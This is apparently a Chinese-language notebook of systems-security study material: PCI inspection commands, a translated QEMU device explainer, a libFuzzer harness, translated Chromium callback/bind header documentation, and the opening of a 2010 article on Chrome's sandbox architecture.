快速查阅
/proc/iomem
/proc/ioports
lspci -xxxx
BAR values are located at addresses 0×10, 0×14, 0×18, 0×1C, 0×20 and 0×24.
lspci -vvvv
Understanding QEMU devices
以下是一些注释,可以帮助新手了解QEMU设备的实际情况:
使用QEMU,要记住的一件事是,我们正在尝试模拟操作系统(OS)在裸机硬件上将看到的内容。大多数裸机基本上都是巨型内存映射,其中在特定地址处拨入的软件将具有特定的副作用(当然,最常见的副作用是访问内存;但是内存中的其他常见区域包括用于控制的寄存器组)特定的硬件,例如硬盘驱动器或网卡,甚至CPU本身)。仿真的最终目标是允许用户空间程序仅使用普通的内存访问来管理GuestOS期望的所有副作用。
作为实现细节,某些硬件(例如x86)实际上具有两个内存空间,其中I / O空间使用的汇编代码与正常情况不同。 QEMU必须模拟这些替代访问。同样,许多现代CPU在内存映射内为自己提供一组CPU本地寄存器,例如用于中断控制器。
对于某些硬件,我们拥有虚拟化挂钩,CPU本身可以轻松捕获有问题的汇编指令(那些访问I / O空间或CPU内部寄存器的指令,因此所带来的副作用与常规内存访问不同),因此Guest仅执行与在裸机上相同的汇编序列,但是该执行随后导致陷阱,让用户空间QEMU然后仅使用其正常的用户空间内存访问对指令做出反应,然后再将控制权返回给Guest。 QEMU通过“加速器”对此提供支持。
虚拟化加速器(例如KVM)可以使Guest运行的速度几乎与裸机一样快,在这种情况下,速度减慢是由从Guest返回QEMU(vmexit)以处理困难的汇编指令或内存地址的每个陷阱引起的。 QEMU还支持其他虚拟化加速器(例如HAXM或macOS的Hypervisor.framework)。
QEMU还具有TCG加速器,该加速器接收Guest汇编指令并将其即时编译为可比的主机指令或对主机帮助程序的调用。尽管不如硬件加速那么快,但它允许跨硬件仿真,例如在x86上运行ARM代码。
接下来要实现的是操作系统正在访问各种硬件资源时发生的情况。例如,大多数操作系统附带一个知道如何管理IDE磁盘的驱动程序-该驱动程序仅是经过编程以对内存映射的特定子集发出特定I / O请求的软件(无论IDE总线位于何处,特定于硬件板)。当IDE控制器硬件接收到这些I / O请求时,它会执行适当的操作(通过DMA传输或其他硬件操作),以将数据从内存复制到持久性存储(写入磁盘)或从持久性存储复制到内存(从磁盘读取) )。
首次购买裸机硬件时,磁盘是未初始化的。您将安装使用驱动程序的OS,以对内存映射的IDE硬件部分进行足够的裸机访问,然后将磁盘变成一组分区和这些分区之上的文件系统。
那么,QEMU如何模拟这一点?在提供给client的大内存映射中,它模拟了与裸机相同地址的IDE磁盘。当GuestOS驱动程序发出特定的内存写入IDE控制寄存器以将数据从内存复制到持久性存储时,QEMU加速器会捕获对该内存区域的访问,并将请求传递给QEMU IDE控制器设备模型。然后,设备模型将解析I / O请求,并通过发出主机系统调用来模拟它们。结果是client内存被复制到主机存储中。
在主机端,模拟持久性存储的最简单方法是将主机文件系统中的文件视为原始数据(主机文件中的偏移量与Guest驱动程序访问的磁盘偏移量的1:1映射),但是QEMU实际上具有将很多不同的主机格式(原始,qcow2,qed,vhdx等)和协议(文件系统,块设备,NBD,Ceph,gluster等)粘合在一起的能力,这些格式可以使用主机格式和协议的任意组合作为后端,然后绑定到提供访客设备的QEMU仿真。
因此,当您告诉QEMU使用主机qcow2文件时,Guest虚拟机不必知道qcow2,而只需让其普通驱动程序进行与在裸机上相同的寄存器读写操作,这将导致vmexits进入QEMU代码,然后QEMU将这些访问映射到qcow2文件的适当偏移中的读取和写入。首次安装Guest系统时,Guest系统会看到的是空白的未初始化线性磁盘(无论该磁盘在主机中是线性磁盘(如原始格式),还是针对随机访问进行了优化(如qcow2格式);由Guest操作系统决定如何对硬件视图进行分区并在其上安装文件系统,而QEMU不在乎Guest使用的是什么文件系统,只关心原始磁盘I / O寄存器控制序列的模式是什么。
接下来要意识到的是,仿真IDE并不总是最有效的。Guest每次写入控制寄存器时,都必须经过特殊处理,vmexits会减慢仿真速度。当然,虚拟化时,不同的硬件模型具有不同的性能特征。但是,总的来说,最适合实际硬件的软件不一定适合虚拟化的软件,直到最近,当设计为由QEMU之类的软件进行仿真时,硬件仍无法快速运行。因此,QEMU包括专门为此目的设计的半虚拟化设备。
这里的“半虚拟化”的含义与最初的“通过Guest和主机之间的合作进行虚拟化”的含义略有不同。 QEMU开发人员已经制定了一组硬件寄存器的规范以及这些寄存器的行为,旨在使可能的vmexits数量最少,同时仍能完成硬盘必须完成的工作,即在普通Guest内存和硬盘之间传输数据。持久存储。此规范称为virtio;使用它需要在客户机中安装virtio驱动程序。虽然不存在遵循与virtio相同的寄存器布局的物理设备,但概念是相同的:virtio磁盘的行为就像一个内存映射的寄存器组,GuestOS驱动程序随后知道将什么顺序的寄存器命令写入该寄存器组,以导致将数据复制到其他Guest存储器中以及从其他Guest存储器中复制数据。 virtio中的大部分加速来自其设计-Guest将大部分常规内存留给其大部分命令队列使用,并且只需要踢一个寄存器即可告诉QEMU读取命令队列(映射寄存器访问较少)意味着更少的vmexits),再加上握手保证了客户机驱动程序在QEMU对其进行操作时不会更改普通内存。
顺便说一句,就像最近的硬件可以相当高效地进行仿真一样,virtio也在不断发展以更加高效地在硬件中实现,当然,同时又不牺牲仿真或虚拟化的性能。因此,将来,您也可能会偶然发现物理虚拟设备。
同样,许多操作系统都支持许多网卡,常见的示例是PCI总线上的e1000卡。在裸机上,操作系统将探测PCI空间,查看是否填充了带有e1000签名的寄存器组,然后加载驱动程序,该驱动程序随后知道要写入的寄存器序列,以使硬件卡将网络流量传入和传出。的客人。因此,作为许多网卡仿真之一,QEMU具有一个e1000设备,该设备被映射到与真实的裸机存储区相同的Guest存储区。
同样,e1000的寄存器布局往往需要大量的寄存器写操作(因此也需要vmexits)来完成硬件的工作量,因此QEMU开发人员添加了virtio-net卡(PCI硬件规范,尽管没有公开)。 -metal硬件,但实际上已经实现了),因此在GuestOS中安装virtio-net驱动程序可以最大程度地减少vmexits的数量,同时仍具有发送网络流量的相同副作用。如果您告诉QEMU使用virtio-net卡启动Guest虚拟机,则Guest虚拟机OS将探测PCI空间并看到带有virtio-net签名的寄存器组,并像加载其他任何PCI硬件一样加载适当的驱动程序。
总而言之,即使QEMU最初是作为模拟硬件内存映射以虚拟化GuestOS的一种方式而编写的,但事实证明,最快的虚拟化还取决于虚拟硬件:具有特定记录副作用的寄存器的内存映射具有 没有裸机。 归根结底,所有虚拟化实际上意味着运行一组特定的汇编指令(GuestOS)来操纵巨型内存映射中的位置,从而引起一组特定的副作用,其中QEMU只是一个用户空间。 该应用程序提供了一个内存映射,并模仿了您在适当的裸机硬件上执行这些Guest指令时将获得的相同副作用。
AFL Code/libFuzzer Code quick copy
int main(int argc, char** argv) { if(argc>1){ FILE *f = fopen(argv[1], "rb"); fseek(f, 0, SEEK_END); size_t fsize = ftell(f); rewind(f); uint8_t* str = (uint8_t *)malloc(fsize + 1); memset(str, 0, fsize + 1); fread((void*)str, fsize, 1, f); fclose(f); LLVMFuzzerTestOneInput(str, fsize + 1); free(str); str = (uint8_t*)0; } else { uint8_t* str = (uint8_t *)malloc(4096); memset(str, 0, 4096); fgets((char*)str, 4095, stdin); LLVMFuzzerTestOneInput(str, 4096); free(str); str = (uint8_t*)0; } return 0; } =========== clang++ -g -fsanitize=fuzzer,address,undefined -fsanitize-coverage=trace-pc-guard FTS/tutorial/fuzz_me.cc libFuzzer.a extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { DoSomethingWithData(data, size); return 0; }
Document of bind_internal.h in mojo
有关用户文档,请参见base/callback.h。
概念:
————————–
O Runnable — 这个类型(实际上是类型类, type class)具有单个Run()方法,以及对应于Run()的类型的RunType typedef。
Runnable可以通过包含名为IsMethod的typedef来声明它应该被视为方法调用。
该类型函数的值不会被检查,只检查存在的值。
当Runnable声明自己是一个方法时,Bind()将对预期是对象类型的第一个参数强制执行特殊的refcount+WeakPtr处理语义。
O Functor — 一个可复制的类型,表示某个应该被调用的东西。
即使调用语法不同,所有函数指针、Callback<>和Runnables都是仿函数(functor)。
O RunType — Run()函数的函数类型(与函数*指针*类型相反)。
通常只是一种方便的typedef。
O (Bound)ArgsType — 用于存储一组参数的类型的函数类型。
“return”类型在此处始终为void。
使用这种方法,这样我们就不需要为每个类型指定一个新的类型名称。(例如,BindState1、BindState2)。这使得向前声明和友元(Friending)变得容易得多。
类型:
————————–
O RunnableAdapter<> — 将各种“函数”指针类型封装到一个依附于Runnable接口的对象中。
O ForceVoidReturn<> — Helper类,用于将函数特征转换为具有“void”返回类型的等效形式。
O FunctorTraits<> — 使用的类型特征确定仿函数的正确RunType和RunnableType。这是应用函数特征适配器的地方。
O MakeRunnable<> — 接受一个仿函数,并在Runnable类型类中返回一个表示底层仿函数的对象。有|O(1)|的MakeRunnable类型。
O invokeHelper<> — 采用runnable+参数并实际调用它。
处理WeakPtr<>支持和忽略返回值所需的不同语法。这与调用程序是分开的,以避免创建多个版本的Callback<>。
O Invoker<> — 解包curried参数并执行Runnable。
O BindState<> — 存储已绑定的参数,并作为Bind()系统的主要入口点,执行大部分类型解析。存在多个BindState类型。
当|Sig|中的任何参数为非常量引用时,HasNonConstReferenceParam选择true_type。
实例时请注意:此非特化情况仅能处理zero-arity案例。
非zero-arity情况应由以下特化处理。
—————————
实际代码
template <typename Sig> struct HasNonConstReferenceParam : false_type {};
实现注意:如果第一个参数是非const引用,则选择true_type。否则,跳过第一个参数并递归地检查其余的参数。
template <typename R, typename T, typename... Args> struct HasNonConstReferenceParam<R(T, Args...)> : SelectType<is_non_const_reference<T>::value, true_type, HasNonConstReferenceParam<R(Args...)>>::Type {};
当|ARGS|中的任何一个是指向RefCounted类型的原始指针时,HasRefCountedTypeAsRawPtr选择true_type。
实施注意:此非特化案例仅处理zero-arity的情况。
非zero-arity的情况应由以下特化处理。
template <typename... Args> struct HasRefCountedTypeAsRawPtr : false_type {};
实施注意事项:如果第一个参数是指向RefCounted类型的原始指针,请选择true_type。否则,跳过第一个参数并递归地检查其余的参数。
template <typename T, typename... Args> struct HasRefCountedTypeAsRawPtr<T, Args...> : SelectType<NeedsScopedRefptrButGetsRawPtr<T>::value, true_type, HasRefCountedTypeAsRawPtr<Args...>>::Type {};
当|is_method|为true且|Args|的第一项为数组类型时,BindsArrayToFirstArg选择true_type。
实现注意:此非特化案例仅处理!is_method的情况和zero-arity的情况。
其他情况应由以下特化代码处理。
template <bool is_method, typename... Args> struct BindsArrayToFirstArg : false_type {}; template <typename T, typename... Args> struct BindsArrayToFirstArg<true, T, Args...> : is_array<T> {};
HasRefCountedParamAsRawPtr与HasRefCountedTypeAsRawPtr相同,除非|is_method|为true,HasRefCountedParamAsRawPtr跳过第一个参数。
实现注意:此非特化案例仅处理!is_method的情况和zero-arity的情况。
其他情况应由以下特化代码处理。
template <bool is_method, typename... Args> struct HasRefCountedParamAsRawPtr : HasRefCountedTypeAsRawPtr<Args...> {}; template <typename T, typename... Args> struct HasRefCountedParamAsRawPtr<true, T, Args...> : HasRefCountedTypeAsRawPtr<Args...> {};
RunnableAdapter<>
RunnableAdapter<>模板为调用函数指针、方法指针或const方法指针提供了统一的接口。适配器公开具有适当签名的Run()方法。
使用这个包装器可以编写支持所有三种指针类型的代码,而不会有不必要的重复。
没有它,许多代码将需要重复3次。
对于方法的指针和const方法的指针,第一个要Run()的参数被认为是被接收到的方法。这类似于STL的mem_fun()。
此类还公开了 RunType typedef ,它是Run()函数的函数类型。
当且仅当包装器包含方法或const方法指针时,将暴露IsMethod typedef。
该类型函数(而不是值)的存在表明wrapper应该被视为method wrapper。
template <typename Functor> class RunnableAdapter; // Function. template <typename R, typename... Args> class RunnableAdapter<R(*)(Args...)> { public: typedef R (RunType)(Args...); explicit RunnableAdapter(R(*function)(Args...)) : function_(function) { } R Run(typename CallbackParamTraits<Args>::ForwardType... args) { return function_(CallbackForward(args)...); } private: R (*function_)(Args...); }; // Method. template <typename R, typename T, typename... Args> class RunnableAdapter<R(T::*)(Args...)> { public: typedef R (RunType)(T*, Args...); typedef true_type IsMethod; explicit RunnableAdapter(R(T::*method)(Args...)) : method_(method) { } R Run(T* object, typename CallbackParamTraits<Args>::ForwardType... args) { return (object->*method_)(CallbackForward(args)...); } private: R (T::*method_)(Args...); }; // Const Method. template <typename R, typename T, typename... Args> class RunnableAdapter<R(T::*)(Args...) const> { public: typedef R (RunType)(const T*, Args...); typedef true_type IsMethod; explicit RunnableAdapter(R(T::*method)(Args...) const) : method_(method) { } R Run(const T* object, typename CallbackParamTraits<Args>::ForwardType... args) { return (object->*method_)(CallbackForward(args)...); } private: R (T::*method_)(Args...) const; };
ForceVoidReturn<>
支持强制函数返回类型为空的一组模板。
template <typename Sig> struct ForceVoidReturn; template <typename R, typename... Args> struct ForceVoidReturn<R(Args...)> { typedef void(RunType)(Args...); }; // FunctorTraits<> // // See description at top of file. template <typename T> struct FunctorTraits { typedef RunnableAdapter<T> RunnableType; typedef typename RunnableType::RunType RunType; }; template <typename T> struct FunctorTraits<IgnoreResultHelper<T>> { typedef typename FunctorTraits<T>::RunnableType RunnableType; typedef typename ForceVoidReturn< typename RunnableType::RunType>::RunType RunType; }; template <typename T> struct FunctorTraits<Callback<T>> { typedef Callback<T> RunnableType; typedef typename Callback<T>::RunType RunType; };
MakeRunnable<>
使用类型推断将传入的仿函数转换为RunnableType。
template <typename T> typename FunctorTraits<T>::RunnableType MakeRunnable(const T& t) { return RunnableAdapter<T>(t); } template <typename T> typename FunctorTraits<T>::RunnableType MakeRunnable(const IgnoreResultHelper<T>& t) { return MakeRunnable(t.functor_); } template <typename T> const typename FunctorTraits<Callback<T>>::RunnableType& MakeRunnable(const Callback<T>& t) { DCHECK(!t.is_null()); return t; }
InvokeHelper<>
有3个逻辑InvokeHelper<>特化:normal、void-return、WeakCalls。
普通类型只调用基础Runnable。
为了支持IgnoreResult(),我们需要一个InvokeHelper来处理void返回类型。
通常,如果Runnable的RunType返回为空,则模板系统将只接“return functor.Run()”,而忽略了将void函数与Return一起使用这一事实。
当Runnable的RunType不是空的时,这个猜想就会被打破。
因此,我们需要部分特化来更改语法,从调用中删除“return”。
WeakCalls同样需要应用于第一个参数的特殊语法,以检查它们是否应该自己执行no-op。
template <bool IsWeakCall, typename ReturnType, typename Runnable, typename ArgsType> struct InvokeHelper; template <typename ReturnType, typename Runnable, typename... Args> struct InvokeHelper<false, ReturnType, Runnable, TypeList<Args...>> { static ReturnType MakeItSo(Runnable runnable, Args... args) { return runnable.Run(CallbackForward(args)...); } }; template <typename Runnable, typename... Args> struct InvokeHelper<false, void, Runnable, TypeList<Args...>> { static void MakeItSo(Runnable runnable, Args... args) { runnable.Run(CallbackForward(args)...); } }; template <typename Runnable, typename BoundWeakPtr, typename... Args> struct InvokeHelper<true, void, Runnable, TypeList<BoundWeakPtr, Args...>> { static void MakeItSo(Runnable runnable, BoundWeakPtr weak_ptr, Args... args) { if (!weak_ptr.get()) { return; } runnable.Run(weak_ptr.get(), CallbackForward(args)...); } }; #if !defined(_MSC_VER) template <typename ReturnType, typename Runnable, typename ArgsType> struct InvokeHelper<true, ReturnType, Runnable, ArgsType> {
WeakCall仅支持具有空返回类型的函数。
否则,如果WeakPtr<>无效,则不会定义函数结果。
COMPILE_ASSERT(is_void<ReturnType>::value, weak_ptrs_can_only_bind_to_methods_without_return_values); }; #endif // Invoker<> // // See description at the top of the file. template <typename BoundIndices, typename StorageType, typename Unwrappers, typename InvokeHelperType, typename UnboundForwardRunType> struct Invoker; template <size_t... bound_indices, typename StorageType, typename... Unwrappers, typename InvokeHelperType, typename R, typename... UnboundForwardArgs> struct Invoker<IndexSequence<bound_indices...>, StorageType, TypeList<Unwrappers...>, InvokeHelperType, R(UnboundForwardArgs...)> { static R Run(BindStateBase* base, UnboundForwardArgs... unbound_args) { StorageType* storage = static_cast<StorageType*>(base);
本地引用,使调试器调试更容易。
如果在调试器中,你肯定想要提前完成下面的InvokeHelper<>::MakeItSo()调用。
return InvokeHelperType::MakeItSo( storage->runnable_, Unwrappers::Unwrap(get<bound_indices>(storage->bound_args_))..., CallbackForward(unbound_args)...); } };
BindState<>
这存储了传递到Bind()中的所有状态,也是大多数模板解析发生的神奇地方。
Runnable是我们要绑定参数的仿函数。
RunType是Callback<>应该使用的Run()函数的类型。
通常,这与Runnable的RunType相同,但如果使用了IgnoreResult()这样的适配器,则可能有所不同。
BoundArgsType 包含使用函数类型的所有绑定参数的存储类型。
template <typename Runnable, typename RunType, typename BoundArgList> struct BindState; template <typename Runnable, typename R, typename... Args, typename... BoundArgs> struct BindState<Runnable, R(Args...), TypeList<BoundArgs...>> final : public BindStateBase { private: using StorageType = BindState<Runnable, R(Args...), TypeList<BoundArgs...>>; using RunnableType = Runnable; // true_type if Runnable is a method invocation and the first bound argument // is a WeakPtr. using IsWeakCall = IsWeakMethod<HasIsMethodTag<Runnable>::value, BoundArgs...>; using BoundIndices = MakeIndexSequence<sizeof...(BoundArgs)>; using Unwrappers = TypeList<UnwrapTraits<BoundArgs>...>; using UnboundForwardArgs = DropTypeListItem< sizeof...(BoundArgs), TypeList<typename CallbackParamTraits<Args>::ForwardType...>>; using UnboundForwardRunType = MakeFunctionType<R, UnboundForwardArgs>; using InvokeHelperArgs = ConcatTypeLists< TypeList<typename UnwrapTraits<BoundArgs>::ForwardType...>, UnboundForwardArgs>; using InvokeHelperType = InvokeHelper<IsWeakCall::value, R, Runnable, InvokeHelperArgs>; using UnboundArgs = DropTypeListItem<sizeof...(BoundArgs), TypeList<Args...>>; public: using InvokerType = Invoker<BoundIndices, StorageType, Unwrappers, InvokeHelperType, UnboundForwardRunType>; using UnboundRunType = MakeFunctionType<R, UnboundArgs>; BindState(const Runnable& runnable, const BoundArgs&... bound_args) : BindStateBase(&Destroy), runnable_(runnable), ref_(bound_args...), bound_args_(bound_args...) {} RunnableType runnable_; MaybeScopedRefPtr<HasIsMethodTag<Runnable>::value, BoundArgs...> ref_; Tuple<BoundArgs...> bound_args_; private: ~BindState() {} static void Destroy(BindStateBase* self) { delete static_cast<BindState*>(self); } }; } // namespace internal } // namespace base
Document of callback.h in mojo
导言
——————
模板回调类是一个广义函数对象。与bind.h中的bind()函数一起,它们提供了一种类型安全的方法来执行函数的部分应用程序。部分应用程序(或“currying”)是将一个函数的参数的子集绑定到生成另一个需要较少参数的函数的过程。这可以用来传递一个延迟执行单元,就像其他语言中使用词法闭包一样。例如,在Chromium代码中使用它来调度不同MessageLoops上的任务。
无未绑定输入参数的回调(base::Callback
内存管理和传递
——————
回调对象本身应该通过常量引用(const-ref)传递,并通过复制进行存储。它们在内部通过一个有引用计数的类存储它们的状态,因此不需要删除。
通过常量引用传递的原因是为了避免不必要的AddRef/Release改变内部状态。
基础材料快速参考
——————
O 绑定普通函数
int Return5() { return 5; } base::Callback<int(void)> func_cb = base::Bind(&Return5); LOG(INFO) << func_cb.Run(); // Prints 5.
O 绑定一个类方法
第一个要绑定的参数是要调用的成员函数,第二个参数是要调用它的对象。
class Ref : public base::RefCountedThreadSafe<Ref> { public: int Foo() { return 3; } void PrintBye() { LOG(INFO) << "bye."; } }; scoped_refptr<Ref> ref = new Ref(); base::Callback<void(void)> ref_cb = base::Bind(&Ref::Foo, ref); LOG(INFO) << ref_cb.Run(); // Prints out 3.
默认情况下,对象必须支持RefCounted,否则将出现编译器错误。如果在线程之间传递,请确保它是RefCountedThreadSafe!如果您不想使用引用计数,请参阅下面的“成员函数的高级绑定”。
O 运行回调
可以使用其“Run”方法运行回调,该方法具有与回调的模板参数相同的特征。
void DoSomething(const base::Callback<void(int, std::string)>& callback) { callback.Run(5, "hello"); }
回调可以多次运行(运行时不会删除或标记回调)。但是,使用base::Passed时不行(见下文)。
void DoSomething(const base::Callback<double(double)>& callback) { double myresult = callback.Run(3.14159); myresult += callback.Run(2.71828); }
O 传递未绑定的输入参数
在Run()运行回调时指定未绑定的参数。它们在回调模板类型中指定:
void MyFunc(int i, const std::string& str) {} base::Callback<void(int, const std::string&)> cb = base::Bind(&MyFunc); cb.Run(23, "hello, world");
O 绑定(Bound Parameters)输入参数。
当您将回调创建为BIND()的参数时,将指定绑定参数。
它们将被传递给函数,回调Run()的实际运行者看不到这些值,甚至不知道它正在调用的函数。
void MyFunc(int i, const std::string& str) {} base::Callback<void(void)> cb = base::Bind(&MyFunc, 23, "hello world"); cb.Run();
无未绑定输入参数的回调(base::Callback
base::Closure cb = base::Bind(&MyFunc, 23, "hello world");
调用成员函数时,绑定参数跟在对象指针之后。
base::Closure cb = base::Bind(&MyClass::MyFunc, this, 23, "hello world");
参数的部分绑定。
可以在创建回调时指定一些参数,在执行回调时指定其余参数。
void MyFunc(int i, const std::string& str) {} base::Callback<void(const std::string&)> cb = base::Bind(&MyFunc, 23); cb.Run("hello world");
调用函数时,首先是绑定参数,然后是未绑定参数。
高级绑定的快速参考
——————
O 用弱指针绑定类方法
base::Bind(&MyClass::Foo, GetWeakPtr());
如果对象已被销毁,则不会运行回调。
危险:弱指针不是线程安全的,所以在线程之间传递时不要使用它!
O 绑定类方法并手动进行生存期管理
base::Bind(&MyClass::Foo, base::Unretained(this));
这将禁用对象上的所有生存期管理。
您负责确保对象在调用时处于活动状态。
O 绑定一个类方法并让回调拥有这个类
MyClass* myclass = new MyClass; base::Bind(&MyClass::Foo, base::Owned(myclass));
当回调被销毁时,该对象将被删除,即使它没有运行(如在关闭期间发布任务)。可能对“Fire & Forgot”的情况有用。
O 忽略返回值
有时,您希望调用一个函数,不希望该函数在回调中返回一个值。
int DoSomething(int arg) { cout << arg << endl; } base::Callback<void<int>) cb = base::Bind(base::IgnoreResult(&DoSomething));
绑定参数到Bind()的快速参考
——————
O 绑定参数被指定为Bind()的参数,并传递给函数
没有参数或没有未绑定参数的回调称为闭包(base::Callback
O 传递回调所拥有的参数
void Foo(int* arg) { cout << *arg << endl; } int* pn = new int(1); base::Closure foo_callback = base::Bind(&foo, base::Owned(pn));
该参数将在回调被销毁时被删除,即使它未运行(如在关闭期间发布task)。
O 作为作用域_ptr传递参数
void TakesOwnership(scoped_ptr<Foo> arg) {} scoped_ptr<Foo> f(new Foo); // f becomes null during the following call. base::Closure cb = base::Bind(&TakesOwnership, base::Passed(&f));
参数的所有权将与回调一起使用,直到将所有权传递给回调函数时才会运行它。这意味着回调只能运行一次。如果回调从未运行过,它将在销毁对象时将其删除。
O 将参数作为scpoed_refptr传递
void TakesOneRef(scoped_refptr<Foo> arg) {} scoped_refptr<Foo> f(new Foo) base::Closure cb = base::Bind(&TakesOneRef, f);
这应该“就行了”。只要闭包还活着,它就会接受一个引用,被调用函数的另一个引用也会被接受。
O 通过引用传递参数
除非使用ConstRef,否则常量引用将被*复制*。
举例:
void foo(const int& arg) { printf("%d %pn", arg, &arg); } int n = 1; base::Closure has_copy = base::Bind(&foo, n); base::Closure has_ref = base::Bind(&foo, base::ConstRef(n)); n = 2; foo(n); // Prints "2 0xaaaaaaaaaaaa" has_copy.Run(); // Prints "1 0xbbbbbbbbbbbb" has_ref.Run(); // Prints "2 0xaaaaaaaaaaaa"
一般情况下,参数会复制到闭包中。危险:ConstRef在这里会存储一个const引用,并引用原始参数。这意味着您必须确保对象在回调完成前仍然存活!
实施说明
——————
此设计来自何处:
设计回调和绑定思想受到C++的tr1::function/tr1::bin和Google内部使用的“Google回调”系统的影响。
实施是如何工作的:
该系统有三个主要组成部分:
1)回调类。
2)Bind()函数。
3)参数wrapper(例如,UnRetainted()和ConstRef())。
回调类表示泛型函数指针。在内部,它存储一段重新计算的状态,表示目标函数及其所有绑定参数。每个特化回调都有一个模板构造函数,它接受一个BindState<>*。
在构造函数的上下文中,此BindState<>*指针的静态类型唯一地标识它所代表的函数、它的所有绑定参数以及能够调用目标的Run()方法。
回调的构造函数接受具有完整静态类型的BindState<>*,并删除目标函数类型以及绑定参数的类型。
为此,它存储一个指向特定Run()函数的指针,并将BindState<>*的状态转换为BindStateBase*。
只要这个BindStateBase*指针只与存储的Run()指针一起使用,就是安全的。
对于BindState<>*,对象是在Bind()函数中创建的。这些函数,以及一组内部模板负责下列工作:
-将函数特征(Function signature)展开为返回类型和参数。
-确定绑定的参数数量。
-创建存储绑定参数的BindState。
-执行编译时断言以避免容易出错的行为。
-返回一个Callback<>,该回调与未绑定参数的数量匹配,并且如果我们绑定一个方法,它知道目标对象的正确的refcounting 语义。
绑定函数使用类型推断和特化模板来完成上述工作。默认情况下,Bind()将存储所有绑定参数的副本,如果绑定的函数是类方法,则尝试refcount 目标对象。即使函数将参数作为常量引用,也会创建这些副本。(禁止绑定到非const引用,请参见bind.h)。
为了改变这一行为,我们引入了一组参数包装器(例如 Unretained(), ConstRef())。这些是通过值传递的简单容器模板,并包装指向参数的指针。
有关更多信息,请参见base/bind_helpass.h中的文件级注释。
这些类型将分别传递给Unwrap()函数和MaybeRefcount()函数以修改Bind()的行为。Unwrap()和MaybeRefcount()函数通过根据参数是否是wrapper类型执行部分特化来更改行为。
ConstRef()类似于tr1::cref。“Unretained”()是Chromium所特有的。
为什么不使用TR1函数/BIND?
曾经考虑过直接使用tr1::function和tr1::bind,但由于在构造期间绑定参数和在调用期间转发参数所涉及的复制构造函数调用的数量而最终被拒绝。
这些拷贝在C++0x中不再是一个问题,因为C++0x将支持rvalue引用,允许编译器避免这些拷贝。但是,等待C++0x不是一个选项。
在GCC版本4.4.3(Ubuntu4.4.3-4ubuntu5)上使用valgrind进行测量时,tr1::bind调用本身将为每个绑定参数调用三次非简单的复制构造函数。
此外,每次传递tr1::function时,都会再次复制每个绑定参数。除了在绑定和调用时获取的副本外,复制tr1::function还会导致复制所有绑定参数和状态。此外,在Chromium中,在表示类方法调用时,回调需要对目标对象进行引用。这不受tr1支持。
最后,tr1::function和tr1::bind有一个更通用、更灵活的API。
这包括使用tr1::bind::placeholder对参数重新排序、对非Const引用参数的支持以及tr1::function对象的一些有限的子类型(例如,tr1::function
其中的一些,例如允许引用参数和函数的子类型化,实际上可能会成为错误的来源。删除对这些特性的支持实际上允许更简单的实现和更精确的API。
为什么不用Google Callback呢?
Google回调系统也不支持重新计算。此外,在参数的类型转换方面,它的实现有一些奇怪的边缘情况。特别是,参数的恒定性有时必须与函数特征完全匹配,否则类型推断可能会中断。
鉴于上述情况,编写一个定制的解决方案就更容易了。
目前还缺少的功能:
-调用Bind的返回值,即bind(&foo).Run()不起作用;
-将数组绑定到接受非常量指针的函数。
举例:
void Foo(const char* ptr); void Bar(char* ptr); Bind(&Foo, "test"); Bind(&Bar, "test"); // This fails because ptr is not const.
——————————————
头文件声明:
namespace base {
首先,我们向前声明回调类模板。这将通知编译器,模板只有1个类型参数,这是回调所表示的函数特征。之后,为0-7个参数创建特化模板。
注意,即使模板类型列表增加了,特化仍然只有一个类型:函数特征(Function signature)。
如果您正在考虑在您自己的头文件中向前声明回调,请改为包含“base/Callback_Forward.h”。
template <typename Sig> class Callback; namespace internal { template <typename Runnable, typename RunType, typename BoundArgsType> struct BindState; } // namespace internal template <typename R, typename... Args> class Callback<R(Args...)> : public internal::CallbackBase { public: typedef R(RunType)(Args...); Callback() : CallbackBase(NULL) { }
请注意,此构造函数不能是显式的,而且bind()不能返回确切的Callback<>类型。
有关详细信息,请参见base/bind.h。
template <typename Runnable, typename BindRunType, typename BoundArgsType> Callback(internal::BindState<Runnable, BindRunType, BoundArgsType>* bind_state) : CallbackBase(bind_state) {
强制将赋值赋给Polymoric Invoke的局部变量,这样编译器将检查传入的run()方法是否具有正确的类型。
PolymorphicInvoke invoke_func = &internal::BindState<Runnable, BindRunType, BoundArgsType> ::InvokerType::Run; polymorphic_invoke_ = reinterpret_cast<InvokeFuncStorage>(invoke_func); } bool Equals(const Callback& other) const { return CallbackBase::Equals(other); } R Run(typename internal::CallbackParamTraits<Args>::ForwardType... args) const { PolymorphicInvoke f = reinterpret_cast<PolymorphicInvoke>(polymorphic_invoke_); return f(bind_state_.get(), internal::CallbackForward(args)...); } private: typedef R(*PolymorphicInvoke)( internal::BindStateBase*, typename internal::CallbackParamTraits<Args>::ForwardType...); };
语法糖,使Callback
typedef Callback<void(void)> Closure; } // namespace base
Azimuth Security: The Chrome Sandbox (2010) Part 1
**这是一篇发布于2010年的文章,许多内容可能已经过时**
http://blog.azimuthsecurity.com/2010/05/chrome-sandbox-part-1-of-3-overview.html
http://blog.azimuthsecurity.com/2010/08/chrome-sandbox-part-2-of-3-ipc.html
机器翻译人工润色
今年早些时候,CanSecWest举办了流行的“Pwn2Own”竞赛,参赛者试图利用他们在流行的软件包中发现的漏洞。该比赛非常关注网络浏览器,今年它并没有让人失望:除了谷歌的Chrome之外所有主要的网络浏览器都被成功入侵。我相信Chrome的生存主要归功于它的集成沙箱,它旨在隔离浏览器,使其无法在运行它的系统上执行任何潜在的不利操作。过去几个月我一直在谷歌与谷歌合作,其中一项主要指控是对沙箱及其相关组件进行安全审查。
第一篇文章将讨论基本的Chrome架构和流程交互。它旨在成为一个高级别的介绍,为将在后续内容上提出的更多技术性讨论奠定基础。第二篇文章将重点介绍Chrome进程用于相互通信的消息传递工具。这些通信失败是Chrome沙箱功能的基础,但更重要的是暴露了广泛的攻击面以实现权限提升。最后的帖子将详细介绍用于从系统其余部分沙箱渲染器进程的Linux和Windows操作系统功能的细节。
多进程架构
Chrome采用多进程架构作为Google“最小特权原则”安全策略的一部分。实质上,沙箱试图将进程与访问目标系统上任何有价值的东西隔离开来 - 包括文件,其他进程和IPC对象(Chrome本身使用的除外)。为了理解Chrome的沙箱,熟悉在浏览会话期间通常存在的各种进程之间如何分区工作非常重要。下图说明了Chrome的多进程架构。
[那张经典的图]
注意
可能存在一些尚未描述的其他进程,具体取决于浏览会话中发生的操作。例如,可以在下载Chrome扩展程序时生成安装程序进程。为简单起见,图中省略了这些辅助进程。
下面简要描述每个主要组件。
